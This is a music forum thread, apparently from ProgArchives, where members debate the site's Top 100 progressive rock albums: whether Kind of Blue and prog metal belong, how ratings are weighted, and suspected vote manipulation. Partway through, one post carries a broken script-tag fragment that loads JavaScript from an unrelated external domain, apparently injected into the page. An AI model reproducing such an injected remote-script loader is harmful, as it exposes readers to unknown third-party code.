I find it perplexing that Pain of Salvation and Opeth appear multiple times, and Goblin doesn't appear once.

I guess more people need to listen to Goblin.

On another website the greatest 100 baseball players of all-time are being counted down, one a day until opening day. The author explained that actual inclusion/exclusion/placement on the list was not to an end-all, be-all. In fact, he said, someone he had ranked 100th could just as easily have been 75th so don't sweat it, the series is just about tellling stories about a lot of baseball greast and the rankings are completely arbitrary.

So of course most of the readers miss the point and argue and complain over not only who was included or left off the list, but whether someone should be 68th or 65th.

People will ALWAYS argue over any top-100 or top 50 or top 1,000 list of any kind because no two people share exactly the same opinons.

I don't worry about the list; it's nothing more than a tool for viewers to see a bunch of great albums that they may enjoy. Nothing is stopping anyone from exploring outside the top 100 either. 

Kind Of Blue... It's a landmark jazz album for sure, perhaps progressive in its own ways, but it sure as hell ain't progressive rock in any way. Worst thing is that it's ahead of some of the Miles Davis albums that are the reason he's on PA in the first place. While I'm not going to say we should award stars based solely on how "prog" or "progressive" an album is, the definition of a 5-star rating here is "Essential: a masterpiece of progressive rock music" - so I think its status here is unwarranted.

Other then that, I don't care. People have different opinions than me, whoop de doo.

Even with "Kind of Blue" which I agree is not a prog album and should be excluded from the list, but it's just how it works. Miles Davis has jazz rock fusion albums, so he's in prog archives. He also has a lot of non-jr fusion albums and all of his albums are included, and Kind of Blue is a jazz masterpiece. I would personally abstain from rating it here, but people will rate it and base it on non-prog 1-5 scale. Nothing I can do about it.

I pretty much use the database only to find possible recommendations by year and by genre so I don't pay much attention to the top 100. My question is does it matter much what albums make it in to the top 100. It's basically a popularity survey of prog, and if someone new to prog gets on, they'll find a good sample of albums to try with the top 100, and if it is something they like, they'll discover on their own what they think should be there or not.< ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">

I answered before seeing this. Ignore my previous post.

Also, I find it a joke that 

is rated 28th with only 433 ratings. WTF? Look at the masterpieces that are following it, and ones that aren't even on the 100 list. Any sentient member would not consider this some kind of masterpiece better than Hot Rats, The Yes Album, Meddle, Crime of the Century, ELP debut, Lateralus, Voyage of the Acolyte, A Trick of the Tail, The Lamb Lies Down on Broadway, A Farewell to Kings, Rock Bottom, Aqualung (which isn't even on the list), etc. 

Even funnier "All Traps On Earth" was not even voted as one of the TOP 50 in the 2018 Prog Archives Collaborators Album of the Year. Again, WTF? There's a bad QWR quotient in the voting tabulation somewhere.

Then you might like to listen to any number of jazz fusion albums from the 1970s. The album is derivative. Fine as a debut, but derivative of great fusion albums produced 40 years ago. Evidently, you've never heard of Return to Forever, Billy Cobham or Mahavishnu Orchestra. Been there, done that.

The best fusion albums have a keyboardist who plays a Minimoog and/or ARP Odyssey and/or Fender Rhodes electric piano and/or Hohner Clavinet, so you can't go wrong with the '70s!

Jan, George, Joe, Herbie, Chick, Al...them's cats where it's at!

With the one situation that DE noted above ... which shows that it is not an album that has been heard and appreciated by the folks at PA, in general, when some of the others have way more votes ... and this was one of the issues with the open voting ... how many bots can someone setup to help "their" band look better ... and in essence, it hurts the poll, and I'm not putting down the band, but in 40 years, with so many folks voting here for at least what ... 10 to 20 years? ... 

Again, the setting up of the top of the pops, needs to STOP being the way it is, and these situations addressed. 

What's to complain about? It's a reflection of the preferences of many. Do i have the same list? Of course not but to actually consider it anything other than what it is, namely an indicator for how many proggers vote from total newbie to hardened master is trying to place more emphasis on it than it needs.

I do wish the top 250 was expanded to a top 1000 or something. I do like to understand where the majority stands even if i don't personally favor every choice.

It's also interesting how different the prog choices are on RYM than PA or any other site. It shows that different sites attract different crowds. If someone averaged the ratings of all the sites on the net then that would probably be a better indicator of what's really going on in the world. Just sayin'

Sooooo...#1 doesn't count as part of the Top 50?

My mistake. Didn't scroll enough.

Albums like Kind Of Blue in the top 100 are due to the all albums policy of adding artists. If we could tag albums individually it would labeled as non-prog and wouldn't be able to show up. That's definitely something i would love to see changed.

I have no gripes with Kind Of Blue. It's a brilliant jazz album, but if it qualifies for the top 100 list why doesn't the equally brilliant folk album, Lindisfarne's Dingly Dell qualify for even a mention anywhere on the Prog Archives? 

1 - 10 - 20 is fine. 0 - 10 - 20 would be even finer.

If my ageing memory still serves me, long ago the ratio has been 1 - 3 - 10, so it has improved.

I definitely agree with this. The fact that Bitches Brew is so low is also a travesty. That should be his highest rated album on this website.

LAM-SGC wrote: Miles Davis? Tool? Pain of Salvation? Queensryche?

I understand why some are upset with that Miles Davis album from 1959 in the top 100.

Sad to see progressive metal usually bashed these days, there's hardly anyone to talk about it on the forum.

Tool and Pain of Salvation are two bands that blew my mind when i first listened to a full lenth album from them. Tool with Aenema and PoS with their debut album, late 90s, I found both to be unique, interesting and very enjoyable.

As for Queensryche, O:M is one of those albums that were groundbreaking when released, and it's albumthat has aged well.

I got no gripes with these bands.

I also find it both funny and lame seeing some people always annoyed by the top 100.

I'd argue there's not a lot of high quality, non-sterile sounding progressive metal as a whole. Dream Theater is the pinnacle of what I avoid regarding progressive metal, yet they seem to be heralded as the end-all archetype of that style. 

We need more stuff like Gorguts Obscura. Basically Beefheart with better gear, downtuned lol.

 

On the subject of Miles Davis, if he's going to be included in PA on account of his "Bitches Brew" album being Jazz-Rock/Fusion, then ALL of his albums have to be included too, including "Kind of Blue", so I have no problem at all with that particular album being in the PA Top 100, even though it's not remotely Prog-Rock, or even Jazz-Rock/Fusion.

Dream Theater hasn't been the pinnacle of anything in quite some time.

There is plenty of intersting progressive metal out there. Sure, I've heard some bland/bad albums as well, but overall it's a genre I enjoy a lot.

That it lends credence to Pedro's otherwise deranged posts/rants about how the PA membership treat music like a sports league table.

I say pinnacle because ask anyone if they like progressive metal and the first thing they'll say is "Like Dream Theater?". My argument is that's a poor standard to go by lol. They are the definition of dry, safe, sterile metal in all manners for me. I also despise anything with falsetto vocals as = progressive metal. James Labrie is a bad vocalist in all ways that matter IMHO.

and I wasn't even talking about DT...

 

The diversity of opinion is what makes the site interesting

 

I also think that people who bother to write a review should get more credit than those who just give a rating.  Writing reviews needs to be encouraged.

 

What does occasionally get my goat is seeing an album that's just been released, that has half a dozen senior reviewers fawning all over it, suddenly propelled into the top 50 ahead of classic prog albums that have hundreds of reviews.

 

The number of reviews that an album has received ought to be given more weight in the ranking system.

Grumpyprogfan wrote: All votes should have equal rate.

Think of collaborators weighted ratings as akin to the US electoral college if you feel democratic representation is being undermined (or have you emigrated already?)

Hi,

This would resolve itself easily enough if the top 100 was about the bands and THEIR music, instead of albums ... maybe a separate poll ... but in the end, one band having 5 albums, and another band having 4 albums and another band having 4 albums, is completely ridiculous and it just shows that the top 100 poll leans towards the "favoritism" of the whole thing ... and for this, I would say that a "review" should not, necessarily mean 10 points, but I can see how it can help ... most folks, I don't know for sure, will not bother with a review and might add one that is 25 words long (silly ... something like that!) ... just to get the extra votes, like the example above ... so almost 50 years of being known and heard is total caca compared to a band from 2 years ago.

THAT JUST DOESN'T ADD UP ... nothing against that band!

Again, have a poll that means a lot more and make sure you say that the "top" 100 bands does not necessarily mean that one is better than the other or ranks higher ... maybe even go so far as to rank them alphabetically so I don't get tired of seeing YES and GENESIS ... all over the damn place ... and I have their albums. 

I think the issue is ... the Admins here don't agree on much together, and worse ... getting them together is probably impossible with folks everywhere around the world ... one of the things that the top 100 poll conveniently lacks and dislikes!

Metal is Metal.

Prog is Prog.

Those three genres are very close to my heart but they are separate genres.

I doubt Close To The Edge appears on any jazz or metal "best of" list. 

This is problematic as it keeps some great LP's off the Top 100. Keep those artists on the site but off the chart!!! Like The Beatles. They are on the site but I don't see Sgt. Pepper or Abbey Road on the list...

Keep the Top 100 Prog!!!

 

As usual it's the Admins fault - how do they have any control over the Top 100 without changing the way it's calculated? Can they even do that?

 

To be honest, it's a long time since I looked at the Top 100. I do feel it gives a fairly good representation of classic prog albums for any coming to the site for an insight into the wonderful world of prog.

It's faults?  Kind of Blue as others have mentioned and the fact that new releases tend to appear high in the list at first.

As far as I am aware the answers are no & no. Unless they could change the weighting of collaborator & reviews. It's a popularity contest based on ratings from members. WYSIWYG. 

 

Personally I rate it above Fragile which is number 11 on the list, but that's the thing, not everyone else agrees with me for some strange reason.

Sorry, Greg, but I am one of the (supposedly) sentient beings who hear this album and think, "This as good as anything in the Top 100--as good as anything in the Top 10." With my first listen I'll never forget the feeling I had as all my blood drained from my head into my gut as I realized what a privilege I was having to be listening to this masterful work of dedicated prog artists (most of whom had been founding members of Änglagård). To this day I consider it as great an artistic achievement as any of the top 20, including Close to the Edge,  Io sono nato libero, Godbluff, or Larks' Tongues in Aspic. An amazing album.   

I know of many young artists that work their asses off--who create highly original new music--many of whom have no idea of the references I use when I compare their sounds and styles, riffs and themes to albums, songs, or artists of the past. 

If everything is "derivative" then, everything is derivative--including the classical-, folk-, blues-, jazz-, psychedelia-, and technology- usurping "masters" of the 1960s and 1970s!

Top hundred is cool to look at, but I doubt there are more than 10 of those 100,on my top 100.

The only top 100 worth a damn ,is my own.

So there :-) 

We are playing "The Gates of Delirium" in this photo, note-for-note, just to warm up.  

dougmcauliffe wrote: I def think albums like blacksstar, abbey road and related should be included. They have the ratings, apparently they just aren’t prog enough?

As far as this website is concerned, the "Proto Prog" and "Prog Related" categories are not prog rock, so they're not included on the top 100.

But I would disagree with the notion that jazz fusion or the various prog metal categories shouldn't be included. Some jazz fusion has a lot of prog rock influence (e.g., Return To Forever's Romantic Warrior) - as in, the music sounds like fusion of jazz and prog, not simply jazz and rock. And metal is a subgenre of rock, so as far as I'm concerned, a prog metal band is a kind of prog rock band. May not be your cup of tea, but removing prog metal would make as much sense as removing bands who aren't symphonic enough.

I can't get into Wobbler either. Personal taste is what it is. I've never been able to get into Gates of Delirium but then I was listening to the live Symphonic Yes DVD the other day and I quite enjoyed it. So maybe after all these years I've been wrong about that album and everybody else has been right. Now I'll have to get out my album copy of Animals and play that again for the one thousand time and maybe I'll get why I don't like it and everybody else does.

Ultimately the top 100 is a showcase for the best 'progressive' rock music ever made. Take it as a suggestion of what is worth checking out first. The problem is that people have their own tastes and put more emphasis on this or that or the other in terms of the content of the music. Music is art but does have an element of sport in terms of how complicated it is or how fast you can play an instrument. This is something that has some value in music. 

As a general point, I get a bit fed up with being talked down to. I haven' read Pedro's response to my post because I'm sure he is just talking down to me for the thousandth time. I will appreciate and think about music exactly how I want. I would actually be very weak minded if I didn't and hopefully I am not!  

I also love Return to Forever's Romantic Warrior album but for me, there is very, very little Jazz in there

EXACTLY. THANK YOU.
 

Great comment, when I was first diving deeper into prog over a decade ago I used the top 100 as a resource for exploration, ended up picking up about 70% of it over the subsequent years.

 

It may be influential but unless enough people have the same opinion as you it could fall out of the top 100.

And, sadly, a band from this or that place, will never be heard ... because the country is not as big as America or England, or has an internet as well developed as we do. In those places only the well to do have access to it, btw ... and none of my old friends in the state of Sao Paolo, have internet as yet ... we still use letters and packages for stuff.

This is the main issue with "popular" ... the idea that nothing else is as good! History has proven this so wrong, it's not funny, and America even has one of the best examples ... black music and jazz! Their story is enough to bring a lot of tears ... but they made it!

LAM-SGC wrote: Point of order: I must ask, is the Top 100 supposed to be a prog top 100 representing progressive music or is it closer to the Top 100 favourite albums of forum members? It is an important distinction, because any Top 100 of prog that omits iconic albums from true progressive bands in place of metal, hard rock, pop and jazz albums is not worth much as a representative guide.

Everything is explained about the top 100. What iconic albums are omitted? Also what is iconic for one person, is nothing interesting for another.

What is a true progressive band? This reminds me of the whole "true metal" debate some metalheads try to pull. A load of... nonsense.

PA's definition and explanations are good enough.

http://www.progarchives.com/Progressive-rock.asp#definition" rel="nofollow - http://www.progarchives.com/Progressive-rock.asp#definition

I know what a progressive band is, a true progressive band, probably not.

Then it should be included in an all-time 100 jazz table, or is it me who is missing something?😕

If Miles Davis is included in ProgArchives on account of his "Bitches Brew" album being Jazz-Rock/Fusion, then all of his other albums have to be included too, regardless of whether they're even remotely proggy. Many PA members have obviously voted for his very non-prog "Kind of Blue" album, so I have no problem with it being included amongst the Top 100 PA albums. On the other hand though, before I arrived at ProgArchives, I never would have considered any Miles Davis albums to be Progressive Rock.

dougmcauliffe wrote: I’ll add another. I love both these albums, but Moonmadness should be ranked higher than Mirage imo.

funny thing: Mirage is 4.39 and Moonmadness is 4.38

LAM-SGC wrote: Point of order: I must ask, is the Top 100 supposed to be a prog top 100 representing progressive music or is it closer to the Top 100 favourite albums of forum members? It is an important distinction, because any Top 100 of prog that omits iconic albums from true progressive bands in place of metal, hard rock, pop and jazz albums is not worth much as a representative guide.

It's nothing more than a computer generated list. It shows albums that are generally universally loved, which also means that riskier or controversial albums are likely to be left out. Since experimentation and risk-taking are so important in the genre, this does mean that some important artists like Soft Machine or Captain Beefheart do get left out on the basis that they can be too experimental to resonate with many people (and there's nothing wrong with not enjoying these artists - prog isn't a competition to listen to the most experimental music).

It can be a very useful list if you're new to prog and you want to discover some of the greatest albums in the genre, but it's by no means comprehensive. Or if you're familiar with prog, it can help fill in some gaps you might have missed. Use it as a starting point, and then let your own opinions and tastes guide you along.

Neither, for that matter, do I, and therein lies the problem with the utterly daft idea of adding and rating artists, rather than albums. From memory, the Davis pantheon of albums started in the late 1940’s, when most of our prog heroes were still in nappies, and certainly the world had never heard of the phrase, because it didn’t exist, and yet they are on the site.

Nothing will change, though, so it is rather pointless moaning about it. The only reason I do is because I have just got back after yet another long couple of days away, and I am feeling distinctly grumpy 😡 

LAM-SGC wrote: Here's a novel idea, only include artists on PA that have called themselves prog or progressive at some point or where those words appeared on an album sleeve or in an official press release,book,documentary etc.

it does not work like that.

If you dislike PA so much, why are you still here?

Your negativity has got old. I don't see the point of your constant complaining.

Maybe it was a mirage that the Mirage album was ranked higher than Moonmadness, or maybe someone had a touch of Lunar Sea and ranked Mirage higher. Anyway, I'm going to set the record straight soon by giving Moonmadness five stars and Mirage four stars.

How am I being negative?

I have never understood why some people are annoyed by the top 100. But then again, there's rating abuse because god forbid someone's beloved album does not make it to the top or is low rated by others (tastes, you know) or whatever these people are thinking, what do i know...

There are many albums I love that are not in the top 100, what should I do, throw a hissy fit?

For a newbie to the world of prog, the top 100 gives a few ideas on what albums to start with.

I'm no different than half of the users here. Miles Davis shouldn't be on Progarchives. Perhaps including jazz-rock/fusion as a whole was a mistake, since the site doesn't differentiate between In a Silent Way, Kind of Blue and, say, You're Under Arrest. Maybe we should do without Herbie Hancock, Weather Report or even Romantic Warrior, with all due respect.

I won't argue other picks I deem "controversial" though. Not fond of metal albums inclusion (Opeth, Queensryche, Dream Theater etc.), of these I find TOOL the most perplexing... but I'm not dying on that hill

(in what world Tool is ranked highly on progressive site while Symbolic, Black Future, Focus, Mental Vortex, Unquestionable Presence etc. don't come near?!)

My other gripe is ever-growing Prog Related collection. I know these are not featured in Top 100 - so I'm kinda offtopic here - but I say, any list with Hunky Dory and Master of Puppets trailing Black Sabbath is BS. Especially that poor Wishbone Ash, miles closer to Progressive Rock than any of the above, is thrown in the mix.

Nothing's been added to prog related for years.

Tool is rated higher than those albums you mentioned because Tool appeals to non-metalheads. And in recent years, progressive metal has become the most disliked prog subgenre around here. Along with neo-prog.

I like Neo-Prog.

you are not helping...

1. Perhaps. I don't remember the exact date when Prog Related filled with Bowies and Sabbaths, but I'm almost sure it wasn't that way ~15 years ago or so, when I started lurking here.

2. Wait, so you're telling me that hardly progressive Tool gets more votes than Cynic because it's less "metal" - even though three subgenres dedicated solely to Metal? (Tech/Extreme, Progressive, Experimental/Post)

It's like we had muscle cars fanclub (showing off classic Camaros, Chargers, Shelbys) and didn't appreciate a guy driving 2020 SRT Hellcat since it's "too extreme"... but in the same time accepted a hillbilly with 1994 Ford Ranger, which has nothing to do with muscle cars in the first place?!

That's terrible.